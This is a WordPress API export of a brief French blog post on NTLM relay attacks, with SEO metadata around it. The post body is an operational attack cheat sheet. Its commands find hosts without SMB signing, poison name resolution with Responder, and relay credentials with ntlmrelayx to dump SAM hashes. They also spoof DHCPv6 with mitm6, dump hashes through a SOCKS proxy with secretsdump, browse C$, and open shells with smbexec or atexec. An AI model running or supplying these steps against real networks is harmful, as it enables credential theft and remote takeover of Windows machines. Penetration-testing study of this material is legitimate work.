{"id":141,"date":"2021-05-23T18:45:26","date_gmt":"2021-05-23T23:45:26","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=141"},"modified":"2021-05-23T18:45:26","modified_gmt":"2021-05-23T23:45:26","slug":"ntlm-relay","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/","title":{"rendered":"NTLM Relay"},"content":{"rendered":"

Vuln\u00e9rable si la signature des messages est d\u00e9sactiv\u00e9
\n# nmap -n -Pn -p 445 --script smb-security-mode 192.168.2.0\/24<\/code><\/p>\n

D\u00e9sactiver SMB et HTTP dans Responder.conf et d\u00e9marrer Responder<\/a>
\n# python2 Responder.py -I eth0 -r -d -w<\/code><\/p>\n

Cr\u00e9er un relai vers le serveur cible avec ntlmrelayx (impacket tools) et extraire le fichier SAM
\n# .\/ntlmrelayx.py -smb2support -t smb:\/\/192.168.2.64<\/code><\/p>\n

Obtenir une liste de target
\n# CrackMapExec smb <networkIP>\/<cidr> --gen-relay-list targets.txt<\/code><\/p>\n

Cr\u00e9er un relai en utilisant un socks proxy:
\n# .\/ntlmrelayx.py -tf targets.txt -smb2support -socks<\/code><\/p>\n

Pour retrouverr la liste des sessions
\n# ntlmrelayx> socks<\/code><\/p>\n

Nous pouvons aussi abuser du protocole IPV6. L’id\u00e9e est de r\u00e9pliquer aux requ\u00eates DHCPv6 des machines du r\u00e9seau pour d\u00e9finir le serveur DNS avec le IP de l’attaquant pour forcer les victimes \u00e0 s’identifier avec la machine de l’attaquant (IPv6 est prioritaire \u00e0 IPv4 sur Windows)
\n# sudo mitm6 -d <domain><\/code><\/p>\n

Configure ProxyChains
\n# vi \/etc\/proxychains.conf<\/code>
\nmettre socks4 127.0.0.1 1080 dans le fichier<\/p>\n

Retrouver les hashes locaux de la cible (n’importe quoi comme mot de passe)
\n# proxychains .\/secretsdump.py vulnerable\/Administrator@192.168.48.230 <\/code><\/p>\n

Acc\u00e9der aux fichiers via le SOCKS Proxy
\n# proxychains smbclient -m smb3 '\\\\192.168.0.3\\C$' -W theworkgroup -U Administrator%invalidPwd<\/code><\/p>\n

Obtenir un shell
\n# proxychains smbexec.py <domain>\/<relayedUser>@192.168.10.60<\/code>
\nou<\/strong>
\n# proxychains atexec.py <domain>\/<relayedUser>@192.168.10.60<\/code><\/p>\n

Plusieurs autres protocoles peuvent \u00eatre relay\u00e9s: imap, ldap, mssql<\/p>\n","protected":false},"excerpt":{"rendered":"

Vuln\u00e9rable si la signature des messages est d\u00e9sactiv\u00e9 # nmap -n -Pn -p 445 –script smb-security-mode 192.168.2.0\/24 D\u00e9sactiver SMB et HTTP dans Responder.conf et d\u00e9marrer Responder # python2 Responder.py -I eth0 -r -d -w Cr\u00e9er un relai vers le serveur cible avec ntlmrelayx (impacket tools) et extraire le fichier SAM # .\/ntlmrelayx.py -smb2support -t smb:\/\/192.168.2.64 Obtenir une liste de target # CrackMapExec smb <networkIP>\/<cidr> –gen-relay-list targets.txt Cr\u00e9er un relai en utilisant un socks proxy: # .\/ntlmrelayx.py -tf targets.txt -smb2support -socks Pour retrouverr la liste des sessions # ntlmrelayx> socks Nous pouvons aussi abuser du protocole IPV6. L’id\u00e9e est de r\u00e9pliquer <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[],"yoast_head":"\nNTLM Relay - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"NTLM Relay - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"Vuln\u00e9rable si la signature des messages est d\u00e9sactiv\u00e9 # nmap -n -Pn -p 445 --script smb-security-mode 192.168.2.0\/24 D\u00e9sactiver SMB et HTTP dans Responder.conf et d\u00e9marrer Responder # python2 Responder.py -I eth0 -r -d -w Cr\u00e9er un relai vers le serveur cible avec ntlmrelayx (impacket tools) et extraire le fichier SAM # .\/ntlmrelayx.py -smb2support -t smb:\/\/192.168.2.64 Obtenir une liste de target # CrackMapExec smb <networkIP>\/<cidr> --gen-relay-list targets.txt Cr\u00e9er un relai en utilisant un socks proxy: # .\/ntlmrelayx.py -tf targets.txt -smb2support -socks Pour retrouverr la liste des sessions # ntlmrelayx> socks Nous pouvons aussi abuser du protocole IPV6. L’id\u00e9e est de r\u00e9pliquer\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-05-23T23:45:26+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/\",\"url\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/\",\"name\":\"NTLM Relay - S\u00e9curiser votre site\",\"isPartOf\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\"},\"datePublished\":\"2021-05-23T23:45:26+00:00\",\"dateModified\":\"2021-05-23T23:45:26+00:00\",\"author\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/#breadcrumb\"},\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.searchevolution.com\/security\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"NTLM Relay\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\",\"url\":\"https:\/\/www.searchevolution.com\/security\/\",\"name\":\"S\u00e9curiser votre site\",\"description\":\"Conna\u00eetre son ennemi\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fr-CA\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\",\"name\":\"Germain\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-CA\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"caption\":\"Germain\"},\"sameAs\":[\"https:\/\/www.searchevolution.com\/security\"],\"url\":\"https:\/\/www.searchevolution.com\/security\/author\/germain\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"NTLM Relay - S\u00e9curiser votre site","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/","og_locale":"fr_CA","og_type":"article","og_title":"NTLM Relay - S\u00e9curiser votre site","og_description":"Vuln\u00e9rable si la signature des messages est d\u00e9sactiv\u00e9 # nmap -n -Pn -p 445 --script smb-security-mode 192.168.2.0\/24 D\u00e9sactiver SMB et HTTP dans Responder.conf et d\u00e9marrer Responder # python2 Responder.py -I eth0 -r -d -w Cr\u00e9er un relai vers le serveur cible avec ntlmrelayx (impacket tools) et extraire le fichier SAM # .\/ntlmrelayx.py -smb2support -t smb:\/\/192.168.2.64 Obtenir une liste de target # CrackMapExec smb <networkIP>\/<cidr> --gen-relay-list targets.txt Cr\u00e9er un relai en utilisant un socks proxy: # .\/ntlmrelayx.py -tf targets.txt -smb2support -socks Pour retrouverr la liste des sessions # ntlmrelayx> socks Nous pouvons aussi abuser du protocole IPV6. L’id\u00e9e est de r\u00e9pliquer","og_url":"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/","og_site_name":"S\u00e9curiser votre site","article_published_time":"2021-05-23T23:45:26+00:00","author":"Germain","twitter_card":"summary_large_image","twitter_misc":{"\u00c9crit par":"Germain","Estimation du temps de lecture":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/","url":"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/","name":"NTLM Relay - S\u00e9curiser votre site","isPartOf":{"@id":"https:\/\/www.searchevolution.com\/security\/#website"},"datePublished":"2021-05-23T23:45:26+00:00","dateModified":"2021-05-23T23:45:26+00:00","author":{"@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8"},"breadcrumb":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/#breadcrumb"},"inLanguage":"fr-CA","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.searchevolution.com\/security\/"},{"@type":"ListItem","position":2,"name":"NTLM Relay"}]},{"@type":"WebSite","@id":"https:\/\/www.searchevolution.com\/security\/#website","url":"https:\/\/www.searchevolution.com\/security\/","name":"S\u00e9curiser votre site","description":"Conna\u00eetre son ennemi","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"fr-CA"},{"@type":"Person","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8","name":"Germain","image":{"@type":"ImageObject","inLanguage":"fr-CA","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g","caption":"Germain"},"sameAs":["https:\/\/www.searchevolution.com\/security"],"url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/"}]}},"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/141"}],"collection":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/comments?post=141"}],"version-history":[{"count":1,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/141\/revisions"}],"predecessor-version":[{"id":142,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/141\/revisions\/142"}],"wp:attachment":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/media?parent=141"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/categories?post=141"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/tags?post=141"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}